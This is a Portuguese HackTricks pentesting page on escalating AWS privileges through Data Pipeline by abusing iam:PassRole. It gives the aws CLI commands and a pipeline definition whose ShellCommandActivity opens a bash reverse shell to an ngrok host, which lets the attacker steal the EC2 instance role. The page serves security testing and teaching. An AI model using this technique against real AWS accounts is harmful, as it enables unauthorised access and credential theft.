AWS - Datapipeline Privesc

Suporte ao HackTricks

datapipeline

Para mais informações sobre datapipeline, verifique:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datappipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Usuários com essas permissões podem escalar privilégios criando um Data Pipeline para executar comandos arbitrários usando as permissões da função atribuída:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Após a criação do pipeline, o atacante atualiza sua definição para ditar ações específicas ou criações de recursos:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Note que a função nas linhas 14, 15 e 27 precisa ser uma função assumível por datapipeline.amazonaws.com e a função na linha 28 precisa ser uma função assumível por ec2.amazonaws.com com um perfil de instância EC2.

Além disso, a instância EC2 terá acesso apenas à função assumível pela instância EC2 (portanto, você só pode roubar aquela).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

O arquivo de definição do pipeline, criado pelo atacante, inclui diretivas para executar comandos ou criar recursos via API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente obter privilégios adicionais.

Impacto Potencial: Escalação direta de privilégios para a função de serviço ec2 especificada.

Referências

Suporte ao HackTricks

Last updated